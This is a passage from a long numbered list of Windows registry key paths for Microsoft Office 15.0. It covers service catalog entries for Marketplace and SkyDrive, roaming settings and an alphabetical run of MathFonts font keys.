  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
